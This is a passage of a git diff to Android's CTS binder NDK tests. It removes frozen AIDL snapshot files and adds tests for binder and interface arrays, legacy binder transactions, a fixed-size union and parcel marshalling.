-// type is used to build AIDL files in a way that they can be used across
-// independently updatable components of the system. If a device is shipped
-// with such a backward incompatible change, it has a high risk of breaking
-// later when a module using the interface is updated, e.g., Mainline modules.
-
-package test_package;
-@Backing(type="long")
-enum LongEnum {
-  FOO = 100000000000,
-  BAR = 200000000000,
-}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/MyExt.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/MyExt.aidl
deleted file mode 100644
index c054eeb..0000000
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/MyExt.aidl
+++ /dev/null
@@ -1,38 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-///////////////////////////////////////////////////////////////////////////////
-// THIS FILE IS IMMUTABLE. DO NOT EDIT IN ANY CASE.                          //
-///////////////////////////////////////////////////////////////////////////////
-
-// This file is a snapshot of an AIDL file. Do not edit it manually. There are
-// two cases:
-// 1). this is a frozen version file - do not edit this in any case.
-// 2). this is a 'current' file. If you make a backwards compatible change to
-//     the interface (from the latest frozen version), the build system will
-//     prompt you to update this file with `m <name>-update-api`.
-//
-// You must not make a backward incompatible change to any AIDL file built
-// with the aidl_interface module type with versions property set. The module
-// type is used to build AIDL files in a way that they can be used across
-// independently updatable components of the system. If a device is shipped
-// with such a backward incompatible change, it has a high risk of breaking
-// later when a module using the interface is updated, e.g., Mainline modules.
-
-package test_package;
-parcelable MyExt {
-  int a;
-  @utf8InCpp String b;
-}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/RegularPolygon.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/RegularPolygon.aidl
deleted file mode 100644
index 3eab12e..0000000
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/RegularPolygon.aidl
+++ /dev/null
@@ -1,39 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-///////////////////////////////////////////////////////////////////////////////
-// THIS FILE IS IMMUTABLE. DO NOT EDIT IN ANY CASE.                          //
-///////////////////////////////////////////////////////////////////////////////
-
-// This file is a snapshot of an AIDL file. Do not edit it manually. There are
-// two cases:
-// 1). this is a frozen version file - do not edit this in any case.
-// 2). this is a 'current' file. If you make a backwards compatible change to
-//     the interface (from the latest frozen version), the build system will
-//     prompt you to update this file with `m <name>-update-api`.
-//
-// You must not make a backward incompatible change to any AIDL file built
-// with the aidl_interface module type with versions property set. The module
-// type is used to build AIDL files in a way that they can be used across
-// independently updatable components of the system. If a device is shipped
-// with such a backward incompatible change, it has a high risk of breaking
-// later when a module using the interface is updated, e.g., Mainline modules.
-
-package test_package;
-parcelable RegularPolygon {
-  String name = "square";
-  int numSides = 4;
-  float sideLength = 1.000000f;
-}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/SimpleUnion.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/SimpleUnion.aidl
deleted file mode 100644
index 767b5ae..0000000
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/current/test_package/SimpleUnion.aidl
+++ /dev/null
@@ -1,35 +0,0 @@
-///////////////////////////////////////////////////////////////////////////////
-// THIS FILE IS IMMUTABLE. DO NOT EDIT IN ANY CASE.                          //
-///////////////////////////////////////////////////////////////////////////////
-
-// This file is a snapshot of an AIDL file. Do not edit it manually. There are
-// two cases:
-// 1). this is a frozen version file - do not edit this in any case.
-// 2). this is a 'current' file. If you make a backwards compatible change to
-//     the interface (from the latest frozen version), the build system will
-//     prompt you to update this file with `m <name>-update-api`.
-//
-// You must not make a backward incompatible change to any AIDL file built
-// with the aidl_interface module type with versions property set. The module
-// type is used to build AIDL files in a way that they can be used across
-// independently updatable components of the system. If a device is shipped
-// with such a backward incompatible change, it has a high risk of breaking
-// later when a module using the interface is updated, e.g., Mainline modules.
-
-package test_package;
-union SimpleUnion {
-  int a = 42;
-  int[] b;
-  String c;
-  test_package.ByteEnum d;
-  test_package.ByteEnum[] e;
-  @nullable test_package.Bar f;
-  const int kZero = 0;
-  const int kOne = 1;
-  const int kOnes = -1;
-  const byte kByteOne = 1;
-  const long kLongOnes = -1;
-  const String kEmpty = "";
-  const String kFoo = "foo";
-  const String S1 = "a string constant";
-}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/itest_impl.h b/tests/tests/binder_ndk/libbinder_ndk_test/itest_impl.h
index 6222518..1829856 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/itest_impl.h
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/itest_impl.h
@@ -24,6 +24,7 @@
 #include <condition_variable>
 #include <mutex>
 
+#include "legacy_binder.h"
 #include "utilities.h"
 
 using ::aidl::test_package::Bar;
@@ -176,7 +177,7 @@
   ::ndk::ScopedAStatus RepeatFd(
       const ::ndk::ScopedFileDescriptor& in_value,
       ::ndk::ScopedFileDescriptor* _aidl_return) override {
-    _aidl_return->set(dup(in_value.get()));
+    *_aidl_return = in_value.dup();
     return ::ndk::ScopedAStatus(AStatus_newOk());
   }
 
@@ -311,6 +312,23 @@
     return ::ndk::ScopedAStatus(AStatus_newOk());
   }
 
+  ::ndk::ScopedAStatus RepeatBinderArray(const std::vector<::ndk::SpAIBinder>& in_value,
+                                         std::vector<::ndk::SpAIBinder>* out_repeated,
+                                         std::vector<::ndk::SpAIBinder>* _aidl_return) override {
+    *out_repeated = in_value;
+    *_aidl_return = in_value;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+
+  ::ndk::ScopedAStatus RepeatInterfaceArray(
+      const std::vector<std::shared_ptr<IEmpty>>& in_value,
+      std::vector<std::shared_ptr<IEmpty>>* out_repeated,
+      std::vector<std::shared_ptr<IEmpty>>* _aidl_return) override {
+    *out_repeated = in_value;
+    *_aidl_return = in_value;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+
   ::ndk::ScopedAStatus Repeat2StringList(const std::vector<std::string>& in_input,
                                          std::vector<std::string>* out_repeated,
                                          std::vector<std::string>* _aidl_return) override {
@@ -407,6 +425,18 @@
     *_aidl_return = in_value;
     return ::ndk::ScopedAStatus(AStatus_newOk());
   }
+  ::ndk::ScopedAStatus RepeatNullableBinderArray(
+      const std::optional<std::vector<::ndk::SpAIBinder>>& in_value,
+      std::optional<std::vector<::ndk::SpAIBinder>>* _aidl_return) override {
+    *_aidl_return = in_value;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+  ::ndk::ScopedAStatus RepeatNullableInterfaceArray(
+      const std::optional<std::vector<std::shared_ptr<IEmpty>>>& in_value,
+      std::optional<std::vector<std::shared_ptr<IEmpty>>>* _aidl_return) override {
+    *_aidl_return = in_value;
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
   ::ndk::ScopedAStatus DoubleRepeatNullableStringArray(
       const std::optional<std::vector<std::optional<std::string>>>& in_value,
       std::optional<std::vector<std::optional<std::string>>>* out_repeated,
@@ -452,6 +482,11 @@
     return ::ndk::ScopedAStatus(AStatus_newOk());
   }
 
+  ::ndk::ScopedAStatus getLegacyBinderTest(::ndk::SpAIBinder* _aidl_return) {
+    *_aidl_return = ::ndk::SpAIBinder(AIBinder_new(kLegacyBinderClass, nullptr));
+    return ::ndk::ScopedAStatus(AStatus_newOk());
+  }
+
   ::ndk::ScopedAStatus RepeatExtendableParcelable(
       const ::aidl::test_package::ExtendableParcelable& in_input,
       ::aidl::test_package::ExtendableParcelable* out_output) {
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/legacy_binder.cpp b/tests/tests/binder_ndk/libbinder_ndk_test/legacy_binder.cpp
new file mode 100644
index 0000000..01e2a22
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/legacy_binder.cpp
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "legacy_binder.h"
+
+static binder_status_t LegacyBinder_OnTransact(AIBinder* _aidl_binder,
+                                               transaction_code_t _aidl_code,
+                                               const AParcel* _aidl_in, AParcel* _aidl_out) {
+  (void)_aidl_binder;
+  (void)_aidl_code;
+
+  int32_t value;
+  if (binder_status_t status = AParcel_readInt32(_aidl_in, &value); status != STATUS_OK) {
+    return status;
+  }
+  return AParcel_writeInt32(_aidl_out, value);
+}
+
+static void* LegacyBinder_OnCreate(void* args) {
+  return args;
+}
+
+static void LegacyBinder_OnDestroy(void* userData) {
+  (void)userData;
+}
+
+const AIBinder_Class* kLegacyBinderClass = []() {
+  auto clazz = AIBinder_Class_define("LegacyBinder", LegacyBinder_OnCreate, LegacyBinder_OnDestroy,
+                                     LegacyBinder_OnTransact);
+  AIBinder_Class_disableInterfaceTokenHeader(clazz);
+  return clazz;
+}();
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/legacy_binder.h b/tests/tests/binder_ndk/libbinder_ndk_test/legacy_binder.h
new file mode 100644
index 0000000..d692895
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/legacy_binder.h
@@ -0,0 +1,24 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#pragma once
+
+#include <android/binder_ibinder.h>
+
+// WARNING: this class is used for testing APIs for use w/ legacy services that
+// won't work with AIDL. If
+// Every transaction is repeat int w/o an interface header
+extern const AIBinder_Class* kLegacyBinderClass;
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/test_ibinder.cpp b/tests/tests/binder_ndk/libbinder_ndk_test/test_ibinder.cpp
index 65862b1..cf363c2 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/test_ibinder.cpp
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/test_ibinder.cpp
@@ -165,7 +165,7 @@
 
   AIBinder_decStrong(binder);
 
-  AIBinder* promoted = AIBinder_Weak_promote(weak);
+  AIBinder* promoted = AIBinder_Weak_promote(copy);
   EXPECT_EQ(nullptr, promoted);
 
   AIBinder_Weak_delete(copy);
@@ -227,6 +227,10 @@
   AIBinder_Weak_delete(w2);
 }
 
+TEST_F(NdkBinderTest_AIBinder, IsHandlingTransactionFalse) {
+  EXPECT_FALSE(AIBinder_isHandlingTransaction());
+}
+
 TEST_F(NdkBinderTest_AIBinder, LocalIsLocal) {
   AIBinder* binder = SampleData::newBinder();
   EXPECT_FALSE(AIBinder_isRemote(binder));
@@ -463,6 +467,8 @@
 
   // Does not crash
   AIBinder_DeathRecipient_delete(nullptr);
+  AIBinder_DeathRecipient_setOnUnlinked(recipient, nullptr);
+  AIBinder_DeathRecipient_setOnUnlinked(nullptr, nullptr);
 
   AIBinder_DeathRecipient_delete(recipient);
   AIBinder_decStrong(binder);
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/test_native_aidl_client.cpp b/tests/tests/binder_ndk/libbinder_ndk_test/test_native_aidl_client.cpp
index 9d57674..3d067c0 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/test_native_aidl_client.cpp
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/test_native_aidl_client.cpp
@@ -21,6 +21,7 @@
 #include <aidl/test_package/ByteEnum.h>
 #include <aidl/test_package/ExtendableParcelable.h>
 #include <aidl/test_package/FixedSize.h>
+#include <aidl/test_package/FixedSizeUnion.h>
 #include <aidl/test_package/Foo.h>
 #include <aidl/test_package/IntEnum.h>
 #include <aidl/test_package/LongEnum.h>
@@ -28,7 +29,6 @@
 #include <android/binder_ibinder_jni.h>
 #include <android/log.h>
 #include <gtest/gtest.h>
-
 #include "itest_impl.h"
 #include "utilities.h"
 
@@ -42,6 +42,7 @@
 using ::aidl::test_package::ByteEnum;
 using ::aidl::test_package::ExtendableParcelable;
 using ::aidl::test_package::FixedSize;
+using ::aidl::test_package::FixedSizeUnion;
 using ::aidl::test_package::Foo;
 using ::aidl::test_package::GenericBar;
 using ::aidl::test_package::ICompatTest;
@@ -60,6 +61,14 @@
 static_assert(offsetof(FixedSize, a) == 0);
 static_assert(offsetof(FixedSize, b) == 8);
 
+static_assert(sizeof(FixedSizeUnion) == 16);  // tag(uint8_t), value(union of {int32_t, long64_t})
+static_assert(alignof(FixedSizeUnion) == 8);
+
+static_assert(FixedSizeUnion::fixed_size::value);
+
+class MyEmpty : public ::aidl::test_package::BnEmpty {};
+class YourEmpty : public ::aidl::test_package::BnEmpty {};
+
 // AIDL tests which are independent of the service
 class NdkBinderTest_AidlLocal : public NdkBinderTest {};
 
@@ -331,16 +340,16 @@
 }
 
 TEST_P(NdkBinderTest_Aidl, RepeatInterface) {
-  class MyEmpty : public ::aidl::test_package::BnEmpty {};
-
   std::shared_ptr<IEmpty> empty = SharedRefBase::make<MyEmpty>();
 
   std::shared_ptr<IEmpty> ret;
   ASSERT_OK(iface->RepeatInterface(empty, &ret));
   EXPECT_EQ(empty.get(), ret.get());
 
-  // interfaces are always nullable in AIDL C++, and that behavior was carried
-  // over to the NDK backend for consistency
+  // b/210547999
+  // interface writes are always nullable in AIDL C++ (but reads are not
+  // nullable by default). However, the NDK backend follows the Java behavior
+  // and always allows interfaces to be nullable (for reads and writes).
   ASSERT_OK(iface->RepeatInterface(nullptr, &ret));
   EXPECT_EQ(nullptr, ret.get());
 
@@ -456,6 +465,12 @@
 
   EXPECT_OK(iface->RepeatString("say what?", &res));
   EXPECT_EQ("say what?", res);
+
+  std::string stringWithNulls = "asdf";
+  stringWithNulls[1] = '\0';
+
+  EXPECT_OK(iface->RepeatString(stringWithNulls, &res));
+  EXPECT_EQ(stringWithNulls, res);
 }
 
 TEST_P(NdkBinderTest_Aidl, RepeatNullableString) {
@@ -728,6 +743,23 @@
                                  {{"hexagon", 6, 2.0f}},
                                  {{"hexagon", 6, 2.0f}, {"square", 4, 7.0f}, {"pentagon", 5, 4.2f}},
                              });
+  std::shared_ptr<IEmpty> my_empty = SharedRefBase::make<MyEmpty>();
+  testRepeat<SpAIBinder>(iface, &ITest::RepeatBinderArray,
+                         {
+                             {},
+                             {iface->asBinder()},
+                             {iface->asBinder(), my_empty->asBinder()},
+                         });
+
+  std::shared_ptr<IEmpty> your_empty = SharedRefBase::make<YourEmpty>();
+  testRepeat<std::shared_ptr<IEmpty>>(iface, &ITest::RepeatInterfaceArray,
+                                      {
+                                          {},
+                                          {my_empty},
+                                          {my_empty, your_empty},
+                                          // Legacy behavior: allow null for non-nullable interface
+                                          {my_empty, your_empty, nullptr},
+                                      });
 }
 
 TEST_P(NdkBinderTest_Aidl, Lists) {
@@ -876,6 +908,26 @@
                               {{"aoeu", "lol", "brb"}},
                               {{"", "aoeu", std::nullopt, "brb"}},
                           });
+  std::shared_ptr<IEmpty> my_empty = SharedRefBase::make<MyEmpty>();
+  testRepeat<SpAIBinder>(iface, &ITest::RepeatNullableBinderArray,
+                         {
+                             std::nullopt,
+                             {{}},
+                             {{iface->asBinder()}},
+                             {{nullptr}},
+                             {{iface->asBinder(), my_empty->asBinder()}},
+                             {{iface->asBinder(), nullptr, my_empty->asBinder()}},
+                         });
+  std::shared_ptr<IEmpty> your_empty = SharedRefBase::make<YourEmpty>();
+  testRepeat<std::shared_ptr<IEmpty>>(iface, &ITest::RepeatNullableInterfaceArray,
+                                      {
+                                          std::nullopt,
+                                          {{}},
+                                          {{my_empty}},
+                                          {{nullptr}},
+                                          {{my_empty, your_empty}},
+                                          {{my_empty, nullptr, your_empty}},
+                                      });
 }
 
 class DefaultImpl : public ::aidl::test_package::ICompatTestDefault {
@@ -960,6 +1012,27 @@
   }
 }
 
+TEST_P(NdkBinderTest_Aidl, LegacyBinder) {
+  SpAIBinder binder;
+  iface->getLegacyBinderTest(&binder);
+  ASSERT_NE(nullptr, binder.get());
+
+  ASSERT_TRUE(AIBinder_associateClass(binder.get(), kLegacyBinderClass));
+
+  constexpr int32_t kVal = 42;
+
+  ::ndk::ScopedAParcel in;
+  ::ndk::ScopedAParcel out;
+  ASSERT_EQ(STATUS_OK, AIBinder_prepareTransaction(binder.get(), in.getR()));
+  ASSERT_EQ(STATUS_OK, AParcel_writeInt32(in.get(), kVal));
+  ASSERT_EQ(STATUS_OK,
+            AIBinder_transact(binder.get(), FIRST_CALL_TRANSACTION, in.getR(), out.getR(), 0));
+
+  int32_t output;
+  ASSERT_EQ(STATUS_OK, AParcel_readInt32(out.get(), &output));
+  EXPECT_EQ(kVal, output);
+}
+
 TEST_P(NdkBinderTest_Aidl, ParcelableHolderTest) {
   ExtendableParcelable ep;
   MyExt myext1;
@@ -984,6 +1057,28 @@
   EXPECT_EQ("mystr", myext3->b);
   AParcel_delete(parcel);
 }
+
+TEST_P(NdkBinderTest_Aidl, ParcelableHolderCopyTest) {
+  ndk::AParcelableHolder ph1{ndk::STABILITY_LOCAL};
+  MyExt myext1;
+  myext1.a = 42;
+  myext1.b = "mystr";
+  ph1.setParcelable(myext1);
+
+  ndk::AParcelableHolder ph2{ph1};
+  std::optional<MyExt> myext2;
+  ph2.getParcelable(&myext2);
+  EXPECT_TRUE(myext2);
+  EXPECT_EQ(42, myext2->a);
+  EXPECT_EQ("mystr", myext2->b);
+
+  std::optional<MyExt> myext3;
+  ph1.getParcelable(&myext3);
+  EXPECT_TRUE(myext3);
+  EXPECT_EQ(42, myext3->a);
+  EXPECT_EQ("mystr", myext3->b);
+}
+
 TEST_P(NdkBinderTest_Aidl, ParcelableHolderCommunicationTest) {
   ExtendableParcelable ep;
   ep.c = 42L;
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/test_package/FixedSizeUnion.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/test_package/FixedSizeUnion.aidl
new file mode 100644
index 0000000..6b3e599
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/test_package/FixedSizeUnion.aidl
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package test_package;
+
+import test_package.LongEnum;
+
+@FixedSize
+union FixedSizeUnion {
+  int a = 0;
+  LongEnum b;
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/test_package/ITest.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/test_package/ITest.aidl
index 084c7d7..f7928fa 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/test_package/ITest.aidl
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/test_package/ITest.aidl
@@ -95,6 +95,8 @@
     String[] RepeatStringArray(in String[] input, out String[] repeated);
     RegularPolygon[] RepeatRegularPolygonArray(in RegularPolygon[] input, out RegularPolygon[] repeated);
     ParcelFileDescriptor[] RepeatFdArray(in ParcelFileDescriptor[] input, out ParcelFileDescriptor[] repeated);
+    IBinder[] RepeatBinderArray(in IBinder[] input, out IBinder[] repeated);
+    IEmpty[] RepeatInterfaceArray(in IEmpty[] input, out IEmpty[] repeated);
 
     // Lists
     List<String> Repeat2StringList(in List<String> input, out List<String> repeated);
@@ -112,6 +114,8 @@
     @nullable IntEnum[] RepeatNullableIntEnumArray(in @nullable IntEnum[] input);
     @nullable LongEnum[] RepeatNullableLongEnumArray(in @nullable LongEnum[] input);
     @nullable String[] RepeatNullableStringArray(in @nullable String[] input);
+    @nullable IBinder[] RepeatNullableBinderArray(in @nullable IBinder[] input);
+    @nullable IEmpty[] RepeatNullableInterfaceArray(in @nullable IEmpty[] input);
 
     // Nullable Arrays where each individual element can be nullable
     // (specifically for testing out parameters)
@@ -132,4 +136,6 @@
     IBinder getICompatTest();
 
     void RepeatExtendableParcelableWithoutExtension(in ExtendableParcelable input, out ExtendableParcelable output);
+
+    IBinder getLegacyBinderTest();
 }
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/test_parcel.cpp b/tests/tests/binder_ndk/libbinder_ndk_test/test_parcel.cpp
index baebb1c..a87a1a4 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/test_parcel.cpp
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/test_parcel.cpp
@@ -421,4 +421,66 @@
   EXPECT_EQ(AParcel_getDataSize(p), AParcel_getDataPosition(p));
 
   AParcel_delete(p);
-}
\ No newline at end of file
+}
+
+TEST_F(NdkBinderTest_AParcel, MarshalUnmarshalTest) {
+  AParcel* p1 = AParcel_create();
+  AParcel* p2 = AParcel_create();
+
+  AParcel_writeInt32(p1, 42);
+  int dataSize = AParcel_getDataSize(p1);
+  uint8_t* data = new uint8_t[dataSize];
+  EXPECT_OK(AParcel_marshal(p1, data, 0, dataSize));
+
+  EXPECT_OK(AParcel_unmarshal(p2, data, dataSize));
+
+  int32_t actual = 0;
+  AParcel_setDataPosition(p2, 0);
+  AParcel_readInt32(p2, &actual);
+
+  EXPECT_EQ(42, actual);
+
+  AParcel_delete(p1);
+  AParcel_delete(p2);
+  delete[] data;
+}
+
+TEST_F(NdkBinderTest_AParcel, MarshalParcelWithBinderTest) {
+  AParcel* p = AParcel_create();
+
+  AIBinder* binder = SampleData::newBinder();
+  EXPECT_OK(AParcel_writeStrongBinder(p, binder));
+
+  int dataSize = AParcel_getDataSize(p);
+  uint8_t* data = new uint8_t[dataSize];
+  EXPECT_EQ(STATUS_INVALID_OPERATION, AParcel_marshal(p, data, 0, dataSize));
+
+  AIBinder_decStrong(binder);
+  AParcel_delete(p);
+  delete[] data;
+}
+
+TEST_F(NdkBinderTest_AParcel, MarshalParcelWithFdTest) {
+  AParcel* p = AParcel_create();
+
+  EXPECT_OK(AParcel_writeParcelFileDescriptor(p, 1));
+
+  int dataSize = AParcel_getDataSize(p);
+  uint8_t* data = new uint8_t[dataSize];
+  EXPECT_EQ(STATUS_INVALID_OPERATION, AParcel_marshal(p, data, 0, dataSize));
+
+  AParcel_delete(p);
+  delete[] data;
+}
+
+TEST_F(NdkBinderTest_AParcel, MarshalParcelBufferTooSmall) {
+  AParcel* p = AParcel_create();
+
+  AParcel_writeInt32(p, 42);
+  int dataSize = AParcel_getDataSize(p);
+  uint8_t* data = new uint8_t[dataSize];
+  EXPECT_EQ(STATUS_BAD_VALUE, AParcel_marshal(p, data, 1, dataSize));
+
+  AParcel_delete(p);
+  delete[] data;
+}
diff --git a/tests/tests/binder_ndk/src/android/binder/cts/ILegacyBinder.java b/tests/tests/binder_ndk/src/android/binder/cts/ILegacyBinder.java
new file mode 100644
index 0000000..a56c09a
--- /dev/null
+++ b/tests/tests/binder_ndk/src/android/binder/cts/ILegacyBinder.java
@@ -0,0 +1,89 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.binder.cts;
+
+/**
+ * Manual implementation of AIDL service. Warning: it is strongly recommended to use AIDL directly.
+ * This interface does not do any type checking or handle errors.
+ */
+public interface ILegacyBinder extends android.os.IInterface {
+  public static class Stub extends android.os.Binder implements ILegacyBinder {
+    public Stub() {
+      super(DESCRIPTOR);
+      this.attachInterface(this, DESCRIPTOR);
+    }
+    public static ILegacyBinder asInterface(android.os.IBinder obj) {
+      if (obj == null) {
+        return null;
+      }
+      android.os.IInterface iin = obj.queryLocalInterface(DESCRIPTOR);
+      if (((iin != null) && (iin instanceof ILegacyBinder))) {
+        return ((ILegacyBinder) iin);
+      }
+      return new ILegacyBinder.Stub.Proxy(obj);
+    }
+    @Override
+    public int RepeatInt(int in) throws android.os.RemoteException {
+      return in;
+    }
+    @Override
+    public android.os.IBinder asBinder() {
+      return this;
+    }
+    @Override
+    public boolean onTransact(int code, android.os.Parcel data, android.os.Parcel reply, int flags)
+        throws android.os.RemoteException {
+      switch (code) {
+        case TRANSACTION_RepeatInt: {
+          reply.writeInt(RepeatInt(data.readInt()));
+          return true;
+        }
+        default: {
+          return super.onTransact(code, data, reply, flags);
+        }
+      }
+    }
+    private static class Proxy implements ILegacyBinder {
+      private android.os.IBinder mRemote;
+      Proxy(android.os.IBinder remote) {
+        mRemote = remote;
+      }
+      @Override
+      public android.os.IBinder asBinder() {
+        return mRemote;
+      }
+      public String getInterfaceDescriptor() {
+        return DESCRIPTOR;
+      }
+      @Override
+      public int RepeatInt(int in) throws android.os.RemoteException {
+        android.os.Parcel data = android.os.Parcel.obtain();
+        android.os.Parcel reply = android.os.Parcel.obtain();
+        try {
+          data.writeInt(in);
+          mRemote.transact(Stub.TRANSACTION_RepeatInt, data, reply, 0);
+          return reply.readInt();
+        } finally {
+          reply.recycle();
+          data.recycle();
+        }
+      }
+    }
+    static final int TRANSACTION_RepeatInt = (android.os.IBinder.FIRST_CALL_TRANSACTION + 0);
+  }
+  public static final String DESCRIPTOR = "LegacyBinder";
+  public int RepeatInt(int in) throws android.os.RemoteException;
+}
diff --git a/tests/tests/binder_ndk/src/android/binder/cts/JavaClientTest.java b/tests/tests/binder_ndk/src/android/binder/cts/JavaClientTest.java
index e95f4dd..a8c940f 100644
--- a/tests/tests/binder_ndk/src/android/binder/cts/JavaClientTest.java
+++ b/tests/tests/binder_ndk/src/android/binder/cts/JavaClientTest.java
@@ -188,17 +188,7 @@
         assertEquals(null, mInterface.RepeatNullableBinder(null));
     }
 
-    private static class Empty extends IEmpty.Stub {
-        @Override
-        public int getInterfaceVersion() {
-            return this.VERSION;
-        }
-
-        @Override
-        public String getInterfaceHash() {
-            return this.HASH;
-        }
-    }
+    private static class Empty extends IEmpty.Stub {}
 
     @Test
     public void testRepeatInterface() throws RemoteException {
@@ -292,6 +282,9 @@
         assertEquals("", mInterface.RepeatString(""));
         assertEquals("a", mInterface.RepeatString("a"));
         assertEquals("foo", mInterface.RepeatString("foo"));
+
+        String stringWithNulls = "a\0df";
+        assertEquals(stringWithNulls, mInterface.RepeatString(stringWithNulls));
     }
 
     @Test
@@ -684,6 +677,33 @@
             Assert.assertArrayEquals(baz.d, newBaz.d);
         }
     }
+
+    @Test
+    public void testGetInterfaceVersion() throws RemoteException {
+        ICompatTest compatTest = ICompatTest.Stub.asInterface(mInterface.getICompatTest());
+        if (mShouldBeOld) {
+            assertEquals(1, compatTest.getInterfaceVersion());
+        } else {
+            assertEquals(3, compatTest.getInterfaceVersion());
+        }
+    }
+
+    @Test
+    public void testGetInterfaceHash() throws RemoteException {
+        ICompatTest compatTest = ICompatTest.Stub.asInterface(mInterface.getICompatTest());
+        if (mShouldBeOld) {
+            assertEquals("b663b681b3e0d66f9b5428c2f23365031b7d4ba0", compatTest.getInterfaceHash());
+        } else {
+            assertEquals("notfrozen", compatTest.getInterfaceHash());
+        }
+    }
+
+    @Test
+    public void testLegacyBinder() throws RemoteException {
+        ILegacyBinder compatTest = ILegacyBinder.Stub.asInterface(mInterface.getLegacyBinderTest());
+        assertEquals(42, compatTest.RepeatInt(42));
+    }
+
     @Test
     public void testRenameFoo() throws RemoteException {
         Foo foo = new Foo();
diff --git a/tests/tests/binder_ndk/src/android/binder/cts/TestImpl.java b/tests/tests/binder_ndk/src/android/binder/cts/TestImpl.java
index 32a01a2..f8064bb 100644
--- a/tests/tests/binder_ndk/src/android/binder/cts/TestImpl.java
+++ b/tests/tests/binder_ndk/src/android/binder/cts/TestImpl.java
